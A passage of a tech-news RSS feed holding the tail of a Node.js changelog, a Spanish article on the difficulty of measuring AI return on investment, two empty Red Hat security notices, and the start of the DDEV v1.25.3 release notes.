<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdd7e20be"><code>3bdd7e20be</code></a>] - <strong>tls</strong>: handle large RSA exponents in X.509 cert (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64093/hovercard">#64093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c96c838977"><code>c96c838977</code></a>] - <strong>tools</strong>: update RUSTC_VERSION for remaining GHA workflows (René) <a href="https://github.com/nodejs/node/pull/64325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64325/hovercard">#64325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee873b7aaf"><code>ee873b7aaf</code></a>] - <strong>tools</strong>: bump <code>temporal_rs</code> version (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63281/hovercard">#63281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3b870155"><code>ea3b870155</code></a>] - <strong>tools</strong>: remove <code>envinfo</code> from our workflows (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64259/hovercard">#64259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d940f02e8b"><code>d940f02e8b</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64249/hovercard">#64249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe0ea2bb5d"><code>fe0ea2bb5d</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64010/hovercard">#64010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dceefde1e"><code>4dceefde1e</code></a>] - <strong>tools</strong>: bump undici from 6.24.1 to 6.27.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64031/hovercard">#64031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e187db7d7"><code>6e187db7d7</code></a>] - <strong>tools</strong>: update c-ares updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64194" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64194/hovercard">#64194</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/657a35f5a2"><code>657a35f5a2</code></a>] - <strong>tools</strong>: validate version number in release proposal commit message lint (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64070/hovercard">#64070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17228a861c"><code>17228a861c</code></a>] - <strong>tools</strong>: add GHA benchmark runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60293/hovercard">#60293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d11a71d91"><code>6d11a71d91</code></a>] - <strong>tools</strong>: update <code>build-shared/action.yml</code> to a reusable workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64059" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64059/hovercard">#64059</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a17c50b7f"><code>7a17c50b7f</code></a>] - <strong>tools</strong>: update libffi updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64046/hovercard">#64046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28047a3e71"><code>28047a3e71</code></a>] - <strong>tools</strong>: exclude <code>libffi</code> changes from <code>test-shared</code> GHA CI (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64047" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64047/hovercard">#64047</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58d9685acc"><code>58d9685acc</code></a>] - <strong>typings</strong>: add typing for crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64122/hovercard">#64122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a9dcad44d"><code>7a9dcad44d</code></a>] - <strong>util</strong>: fix OOM in inspect color stack formatting (Ijtihed Kilani) <a href="https://github.com/nodejs/node/pull/64022" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64022/hovercard">#64022</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f01bbbde"><code>d5f01bbbde</code></a>] - <strong>vfs</strong>: reject rename into descendant directory (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64285/hovercard">#64285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6af91081"><code>0b6af91081</code></a>] - <strong>vfs</strong>: handle current-position sentinel in memory files (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64163/hovercard">#64163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/322230d641"><code>322230d641</code></a>] - <strong>vfs</strong>: support writeFileSync with virtual fds (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64165/hovercard">#64165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9395d209c7"><code>9395d209c7</code></a>] - <strong>vfs</strong>: avoid recursive readdir symlink cycles (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64168" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64168/hovercard">#64168</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbdd7643b6"><code>bbdd7643b6</code></a>] - <strong>vfs</strong>: read RealFSProvider files from open fd (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64104" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64104/hovercard">#64104</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92859b8097"><code>92859b8097</code></a>] - <strong>vm</strong>: fix copying PropertyDescriptor (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64073/hovercard">#64073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9046035475"><code>9046035475</code></a>] - <strong>zlib</strong>: validate flush king for all streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98be4304a3"><code>98be4304a3</code></a>] - <strong>zlib</strong>: validate flush kind for brotli streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90007a59a9"><code>90007a59a9</code></a>] - <strong>zlib</strong>: expose rejectGarbageAfterEnd option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5933516066"><code>5933516066</code></a>] - <strong>zlib</strong>: reject trailing gzip members in web streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[¿Por qué resulta tan difícil medir el ROI de la IA?]]></title>
<description><![CDATA[La multinacional farmacéutica danesa Novo Nordisk está muy interesada en acelerar el tiempo que se tarda en lanzar medicamentos al mercado a medida que expiran las patentes. “Si tienes un medicamento superventas, un retraso de una semana puede suponer entre 10 y 100 millones de dólares”, afirma S...]]></description>
<link>https://tsecurity.de/de/3654011/it-security-nachrichten/por-qu-resulta-tan-difcil-medir-el-roi-de-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654011/it-security-nachrichten/por-qu-resulta-tan-difcil-medir-el-roi-de-la-ia/</guid>
<pubDate>Wed, 08 Jul 2026 12:53:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La multinacional farmacéutica danesa Novo Nordisk está muy interesada en acelerar el tiempo que se tarda en lanzar medicamentos al mercado a medida que expiran las patentes. “Si tienes un medicamento superventas, un retraso de una semana puede suponer entre 10 y 100 millones de dólares”, afirma Stephanie Bova, responsable de transformación digital de la empresa. “Es una cantidad enorme, porque dispones de menos tiempo de protección mediante patente”.</p>



<p>La IA generativa ofrecía la posibilidad de acelerar drásticamente múltiples etapas del proceso de desarrollo de medicamentos. Y, dado que Novo Nordisk ya llevaba un seguimiento minucioso de la duración de sus procesos clave, contaba con una ventaja de la que carecían muchas otras empresas. Por lo tanto, debería haber sido relativamente sencillo incorporar un poco de IA generativa, ver cómo mejoraba la productividad y observar cómo llegaban los beneficios. Pero no fue tan fácil. El proceso de desarrollo de un fármaco consta de muchas partes, que tienen lugar en distintos momentos y en distintos departamentos. “Las personas son expertas en sus propios ámbitos, pero no necesariamente conocen el siguiente ámbito ni cómo encaja todo. El sistema es tan grande y complejo que no se puede ver todo el rendimiento de una sola vez”, afirma Bova.</p>



<p>Es posible que la documentación de los procesos no se corresponda con lo que la gente hace realmente en la práctica, y que diferentes personas realicen la misma tarea de formas distintas. Además, algunas tareas cruciales pueden pasar prácticamente desapercibidas desde fuera. El equipo de fabricación, por ejemplo, puede formar parte de un grupo completamente diferente y no ser consciente de que el medicamento se está preparando para su presentación ante la FDA (la agencia gubernamental estadounidense del medicamento), y que aún no tiene toda la documentación lista. “Así que has avanzado muy rápido solo para tener que esperar a que ellos te alcancen”, añade Bova.</p>



<p>Este es solo uno de los muchos retos a los que se enfrentan las empresas al intentar medir los resultados de los proyectos de IA, y la razón por la que las encuestas son tan contradictorias.</p>



<p>Si nos fijamos en las tareas individuales, Novo Nordisk puede demostrar mejoras en la productividad y claros beneficios positivos derivados del uso de la IA. Pero si damos un paso atrás y analizamos los resultados financieros de la empresa, el panorama se vuelve más confuso. En primer lugar, si se omiten pasos críticos, el tiempo de comercialización no mejorará. Además, un nuevo medicamento tarda años en llegar a los clientes, por lo que los efectos positivos en los resultados no se notarán hasta pasado un tiempo. Y eso es solo el principio del problema que plantea la medición del retorno de la inversión.</p>



<h2 class="wp-block-heading">Medición de procesos</h2>



<p>Para abordar los puntos ciegos de sus procesos, Novo Nordisk recurrió a la nueva generación de minería de procesos: gemelos digitales de las operaciones en tiempo real impulsados por IA. “Nos asociamos con la empresa de inteligencia de procesos Celonis para obtener un gemelo digital de nuestros datos de procesos. Fuimos los primeros del sector en aplicarlo al ámbito clínico”, explica Bova. La herramienta recopila información de los sistemas de la empresa para hacer un seguimiento de lo que los empleados hacen realmente, en lugar de utilizar encuestas para recabar información sobre lo que una parte de los empleados recordaba haber hecho en algún momento.</p>



<p>El primer proyecto consistió en un proceso sencillo de siete pasos y, al crear un gemelo digital del mismo, Novo Nordisk descubrió que, dependiendo de quién lo llevara a cabo, podía tratarse de un proceso de cinco o de nueve pasos. “Si reúnes a diez expertos en la materia en una sala, obtienes todo tipo de interpretaciones y, con el tiempo, se producen desviaciones”, cuenta.</p>



<p>El proyecto puso de manifiesto múltiples fallos en los procesos existentes. En algunos casos, fue necesario volver a formar a los empleados. En uno de ellos, hubo que actualizar la interfaz de usuario. Sin embargo, una vez que se estandariza un proceso, surge la oportunidad de tomar una “fotografía” de la situación anterior, de modo que haya algo con lo que comparar posteriormente y comprobar si la mejora mediante IA o la automatización arrojan algún resultado.</p>



<p>Otra cuestión que tuvieron que resolver de antemano fue decidir qué hacer con el tiempo ahorrado que se generara. “No quieres despedir a nadie”, afirma Bova. “Se trata de personal altamente cualificado y difícil de encontrar. Quizá deberíamos plantearnos redistribuir un poco los equipos”.</p>



<p>En la actualidad, la empresa cuenta con varios cientos de agentes de IA en funcionamiento, etiquetados dentro de la infraestructura del gemelo digital para poder identificarlos. “Si algo falla, sabemos exactamente dónde solucionarlo”, dice, y añade que la siguiente fase es la coordinación entre múltiples agentes. “Hoy en día, los tenemos conectados, pero no contamos con ‘agentes de agentes”.</p>



<p>Aún es demasiado pronto para saber si hay retorno de la inversión, ya que, en el desarrollo de fármacos, el proceso lleva años. “Pero, al analizar el proceso de principio a fin, espero que podamos recortar dos años del ciclo de desarrollo. Dos años menos hasta la comercialización, en comparación con la situación actual”»”, indica.</p>



<p>Los medicamentos que ya se encuentran en la fase final de desarrollo no experimentarán una aceleración tan notable, pero los que acaban de iniciarse serán los que más se beneficien. Sin embargo, los resultados finales no se verán hasta dentro de varios años.</p>



<p>La industria farmacéutica no es la única en la que el verdadero valor proviene de la optimización simultánea de múltiples procesos interconectados. <a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html" target="_blank" rel="nofollow">Según PwC</a>, los proyectos tácticos de IA a menudo no aportan un valor cuantificable, y los beneficios tangibles provienen de implementaciones a escala empresarial coherentes con la estrategia de negocio.</p>



<p>De hecho, muchas empresas no han experimentado ni un aumento de los ingresos ni una reducción de los costes gracias a la IA en los últimos 12 meses, a pesar de su adopción casi universal. Aun así, el gasto empresarial en IA se prevé que casi se duplique a finales de año en comparación con el año pasado, según <a href="https://kpmg.com/us/en/media/news/q1-ai-pulse2026.html" target="_blank" rel="nofollow">KPMG</a>.</p>



<h2 class="wp-block-heading">Medición de la productividad</h2>



<p>La mayoría de las empresas empiezan a pequeña escala, implantando <em>chatbots </em>de IA para los empleados con el fin de ayudar a mejorar la productividad. Y el ritmo de adopción en este ámbito ha sido asombrosamente alto, solo equiparado por la incapacidad de medir las ganancias de productividad que se supone que se deben alcanzar.</p>



<p>Disponer de una referencia es clave, afirma Anand Rao, profesor de IA en la Universidad Carnegie Mellon, de Estados Unidos, pero en algunos casos resulta difícil de medir y, en otros, es prácticamente imposible. Tomemos, por ejemplo, las decisiones relacionadas con los seguros, en las que los resultados pueden tardar años en hacerse evidentes. En el caso de los seguros de vida, podrían ser décadas, afirma. Y para algunos tipos de decisiones, las empresas no disponen de ningún tipo de indicador.</p>



<p>“Existe un estigma social a la hora de decir que estoy tratando de analizar tu proceso de toma de decisiones y lo bien que las estás tomando. Como seres humanos, no nos gusta que se evalúen nuestras decisiones”, señala. Luego, cuando una decisión sale bien al final, la gente se atribuye encantada el mérito. “Si la decisión sale mal, se achaca a factores externos”.</p>



<p>Pero incluso en el caso de tareas específicas en las que es posible realizar mediciones, las empresas a menudo no se esfuerzan por llevarlas a cabo antes de implementar herramientas de IA. “No partimos de una referencia”, apunta Julie Averill, antigua vicepresidenta ejecutiva y directora de sistemas de información global de la cadena de moda Lululemon. Averill es ahora directora general de Gold Thread, una consultora de transformación digital. “Partimos de la suposición de que la IA iba a ayudar a la gente a tomar mejores decisiones. Y eso te lleva a no poder medir bien los resultados”, explica.</p>



<p>Existen métricas alternativas que una empresa puede tener en cuenta en su lugar, añade, como las tasas de uso o la satisfacción de los usuarios. “Esto está ocurriendo y está aportando beneficios, algunos de los cuales se pueden ver y otros no. Hay que confiar en el proceso. Es igual que con la nube. Sabes que es el camino del futuro y puedes ver las ventajas, pero es difícil llegar hasta allí, y se requieren muchos cambios. Pero cuanto antes lo hagas, antes te habrás adaptado a la nueva forma de operar y podrás sacarle realmente partido”.</p>



<p>Hay otras áreas en las que es más fácil disponer de métricas concretas, como el servicio de atención al cliente. “Se trata de tareas repetitivas y suele ser el primer ámbito que las empresas automatizan con IA. Hay resultados muy tangibles que se pueden medir y se puede establecer una referencia muy sólida”, explica Averill.</p>



<p>Lululemon también lleva años utilizando la IA para mejorar la personalización y las recomendaciones, y esa es otra área que se puede cuantificar. Además, la automatización puede reducir la introducción manual de datos, lo que disminuye las tasas de error. La IA también se puede utilizar para ayudar en la supervisión del cumplimiento normativo, la detección de fraudes y el mantenimiento predictivo de los equipos, todos ellos casos de uso que se pueden cuantificar.</p>



<p>¿Pero la productividad de los empleados en general? Eso es difícil de medir, y no solo para Lululemon. Una forma obvia podría ser analizar los despidos en profesiones expuestas a la IA. Al fin y al cabo, los titulares están por todas partes. Pero en <a href="https://www.anthropic.com/research/labor-market-impacts" target="_blank" rel="nofollow">un informe publicado en marzo</a>, Anthropic no encontró indicios de un aumento del desempleo en las profesiones altamente expuestas, aquellas en las que las personas tienen más probabilidades de ser despedidas debido a la IA.</p>



<p>A principios de 2025, la empresa de investigación METR intentó cuantificar la productividad de los desarrolladores comparando la rapidez con la que los desarrolladores experimentados eran capaces de realizar tareas con IA y sin ella. ¿El resultado? Los desarrolladores afirmaron que esperaban que la IA les permitiera trabajar un 24% más rápido y estimaron que, en realidad, la IA les había permitido hacerlo un 20 % más rápido. Pero los datos revelaron una realidad totalmente diferente. El uso de la IA, en realidad, les ralentizó un 19%.</p>



<p>Por supuesto, las herramientas de IA están mejorando. METR intentó realizar un estudio de seguimiento, comparando de nuevo las tareas realizadas con y sin IA, pero no pudo encontrar suficientes desarrolladores dispuestos a volver al enfoque sin IA, a pesar de que los investigadores les pagaban por participar en el estudio.</p>



<p>Existen casos anecdóticos de empresas en las que un solo ingeniero realiza el trabajo de cien gracias al uso de la IA. O aquella vez en que se filtró accidentalmente todo el código fuente de Claude Code, de medio millón de líneas, y el desarrollador coreano Sigrid Jin creó una reconstrucción desde cero en dos horas, que luego subió a GitHub, donde se convirtió en el proyecto más rápido de la historia en alcanzar las 100.000 estrellas.</p>



<p>Pero, como ocurre con cualquier otro tema relacionado con la IA, la realidad es más compleja. En el caso concreto del desarrollo de software, escribir el código es, en realidad, solo una pequeña parte de lo que implica desarrollar software.</p>



<p>La consultora DX analizó recientemente métricas clave de ingeniería de 400 empresas y, en un informe reciente, constató que el uso de la IA había aumentado un 65% desde noviembre de 2024, pero que la productividad relacionada con la IA se situaba justo por debajo del 10%.</p>



<h2 class="wp-block-heading">Costes ocultos</h2>



<p>Al igual que resulta difícil medir los beneficios de la IA en términos de productividad, también puede resultar complicado cuantificar los costes. Cuando una empresa empieza a utilizar la IA, los costes pueden ser relativamente fáciles de estimar. ¿A cuánto ascienden las cuotas mensuales totales de suscripción a los chatbots de IA que utilizan los empleados? ¿Cuál es el coste de entrenar o ajustar un modelo personalizado? Pero cuando se pasa a casos de uso más complejos, los cálculos se vuelven más difíciles, afirma Averill. “Ahora existen todos los sistemas relacionados con la IA. Esos son más difíciles de cuantificar, pero su impacto es mayor”, dice.</p>



<p>Por ejemplo, si la IA se integra en los procesos empresariales mediante RAG, existe el gasto continuo de las llamadas a la API, pero también los cambios que hay que realizar en otros sistemas, explica. Y la cosa se complica cada día más. “No hemos realizado un esfuerzo muy concertado para implantar la telemetría y la instrumentación”, afirma Swaminathan Chandrasekaran, director global de IA y laboratorios de datos en KPMG. Según él, obtener una visión global de los costes totales de la IA en una empresa es como predecir el tiempo.</p>



<p>“La razón por la que contamos con un sistema de predicción meteorológica tan impresionante en este país es que disponemos de decenas de miles de estaciones meteorológicas que recopilan datos”, explica. “Sin eso, no sabríamos qué tiempo va a hacer”.</p>



<p>Las empresas deben implantar sistemas de medición para evaluar todos los aspectos del consumo relacionado con la IA, señala, empezando por el número de tokens utilizados, quién los utiliza y cómo se correlaciona esto con el rendimiento laboral. “Esa medición brilla por su ausencia”, afirma.</p>



<p>Al menos cuando los humanos utilizan <em>chatbots </em>de IA, hay un límite en el número de preguntas que son físicamente capaces de formular, además de unos costes de suscripción predecibles. Y cuando los procesos empresariales se habilitan con IA a través de RAG, las llamadas a la API de los modelos de lenguaje grandes (LLM) las realizan sistemas empresariales predecibles y programados de forma tradicional.</p>



<p>Pero ahora, la IA agentiva está empeorando aún más las cosas, ya que los agentes pueden actuar de forma impredecible y el número de llamadas a la API puede dispararse rápidamente fuera de control. En un informe del <a href="https://www.bcg.com/publications/2026/how-leaders-build-an-ai-first-cost-advantage" target="_blank" rel="nofollow">Boston Consulting Group</a>, dos tercios de las empresas señalan gastos de escalado de la IA incontrolables.</p>



<p>Otro coste que algunas empresas quizá no prevean bien, o que no controlen porque forma parte de un presupuesto diferente, es el relacionado con los datos. Ya sea preparando datos para el entrenamiento o el ajuste fino, utilizando incrustaciones de RAG o configurando el acceso directo a MCP a través de agentes, estos costes pueden acumularse rápidamente cuando entra en escena la IA.</p>



<p>“Las tarifas de salida son uno de los gastos más importantes”, afirma Tom Coughlin, miembro del IEEE y presidente de la consultora Coughlin Associates. “Si tienes que sacar datos de la nube, esas tarifas de salida podrían ser considerables”. Además, están todos los costes de personal que conlleva la implementación de la IA, añade.</p>



<p>“A largo plazo, la IA aportará un gran valor a las personas, pero estas deben saber cómo utilizarla correctamente. Si no cuentan con esas habilidades, se encontrarán en desventaja”, expone.</p>



<h2 class="wp-block-heading">Soluciones y mensajes contradictorios</h2>



<p>Luego está la cuestión de resolver los problemas. La mayoría de las empresas han sufrido al menos un incidente relacionado con la IA en los últimos 18 meses, y la mayoría de ellos han supuesto pérdidas económicas, algunas de más de 500.000 dólares. Además, está la IA que se está integrando en todo.</p>



<p>“Conocemos nuestros costes directos”, afirma Andrew Johnson, director de sistemas de información (CIO) de Brownstein Hyatt Farber Schreck, un bufete de abogados estadounidense. “Pero donde resulta más difícil de cuantificar es con las plataformas que ya tenemos implantadas y las aplicaciones SaaS que no contaban con capacidades de IA. Nos piden aumentos extraordinarios y los atribuyen a las nuevas capacidades que aporta la IA. ¿Cuánto se le debe atribuir a la IA? Eso es un poco difuso”, relata.</p>



<p>Incluso cuando la IA permite ahorrar dinero, a menudo hay costes adicionales asociados a ello. Por ejemplo, el bufete gastaba unos 70.000 dólares al año en una plataforma de gestión de contratos. Desarrollar su propia versión con IA supuso unos 40.000 dólares en costes de mano de obra y otros 3.000 dólares al año en alojamiento. El mantenimiento continuo será mínimo para esa aplicación en concreto, añade, lo que supondrá un total de otros dos mil dólares al año.</p>



<p>Pero también hay otros costes indirectos asociados al funcionamiento de las aplicaciones propias, como las auditorías de seguridad, las evaluaciones de vulnerabilidad, las pruebas de penetración y la revisión del código. “Cuanto más compleja y arriesgada es la plataforma, menor es el interés por intentar crear una solución interna”, indica.</p>



<p>Aun así, el equipo de desarrollo de software es ahora mucho más productivo gracias a la IA, ya que cuatro o cinco desarrolladores son capaces de hacer el trabajo de 20 o 30. Pero las mejoras en la productividad no se traducen en un ahorro de mano de obra, ya que los desarrolladores tienen mucho trabajo nuevo que hacer. “Tenemos una enorme lista de oportunidades pendientes para desarrollar soluciones”, afirma.</p>



<p>La tendencia del trabajo a expandirse para ocupar todo el tiempo disponible no se da solo en el desarrollo de software, señala Rao, de Carnegie Mellon. Supongamos, por ejemplo, que se espera que la IA suponga una mejora del 20% en la productividad, explica. “Antes había cien personas haciendo ese trabajo, y ahora solo necesitamos 80. Pero, al final del año, la plantilla no ha cambiado. «En las tareas que realizaban, hay una mejora, añade, “pero las personas añadirán tareas para suplir o complementar ese 20%. No es que se vayan a casa una hora antes, sino que están encontrando otras actividades que generan valor”.</p>



<p>De hecho, en algunos casos, el aumento de la productividad en una empresa puede llegar a perjudicar los resultados. Los abogados, por ejemplo, cobran por horas. “La eficiencia va en contra de nuestras formas tradicionales de ganar dinero”, afirma Johnson, de Brownstein. “Tenemos que pensar más allá de eso. No es perjudicial para nuestros intereses a largo plazo, pero supone un reto a corto plazo. Sin embargo, si no lo hacemos, es probable que no seamos competitivos a medio y largo plazo”.</p>



<p>Así pues, si una nueva herramienta de IA ayuda a un abogado en la diligencia debida, no existe una relación directa entre la inversión en esa herramienta y el aumento de los ingresos. “Es un hecho que la dirección es la correcta”, afirma Johnson. “Pero no podemos afirmar que vaya a generar un rendimiento concreto”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3652757/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652757/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 07 Jul 2026 23:01:51 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3652753/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652753/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 07 Jul 2026 23:01:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.3]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3649770/downloads/v1253/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649770/downloads/v1253/</guid>
<pubDate>Mon, 06 Jul 2026 22:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<p>Blog announcement: <a href="https://ddev.com/blog/release-v1-25-3/" rel="nofollow">https://ddev.com/blog/release-v1-25-3/</a></p>
<ul>
<li><strong>New Docker Compose library:</strong> Improved UX during <code>ddev start</code> and <code>ddev stop</code>; the separate <code>~/.ddev/bin/docker-compose</code> binary is no longer needed and can be removed</li>
<li><strong>Faster <code>ddev start</code>:</strong> Reduced startup time by running post-healthcheck tasks concurrently, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a></li>
<li><strong>Faster <code>ddev stop</code>:</strong> Fixed a bug in the webserver startup script that added an unnecessary ~10-second delay</li>
<li><strong>MariaDB 12.3 LTS support</strong></li>
<li><strong>Podman and Docker rootless are no longer experimental:</strong> Both are now stable and ready for general use:
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#macos-podman-rootless" rel="nofollow">macOS (Podman rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-docker-rootless" rel="nofollow">Linux/WSL2 (Docker rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-podman-rootless" rel="nofollow">Linux/WSL2 (Podman rootless)</a></li>
</ul>
</li>
</ul>
<h2>Breaking Changes</h2>
<ul>
<li>Remove support for <code>XDG_CONFIG_HOME</code>, replaced by <code>DDEV_XDG_CONFIG_HOME</code>. Support for <code>~/.config/ddev</code> on Linux is unchanged. This change was needed because some IDEs, such as PhpStorm, don't always see <code>XDG_CONFIG_HOME</code> set in the terminal (see <a href="https://youtrack.jetbrains.com/projects/IJPL/issues/IJPL-1055/Load-interactive-shell-environment-variables-on-Linux" rel="nofollow">this issue</a>), which caused the IDE to recreate the <code>~/.ddev</code> directory repeatedly</li>
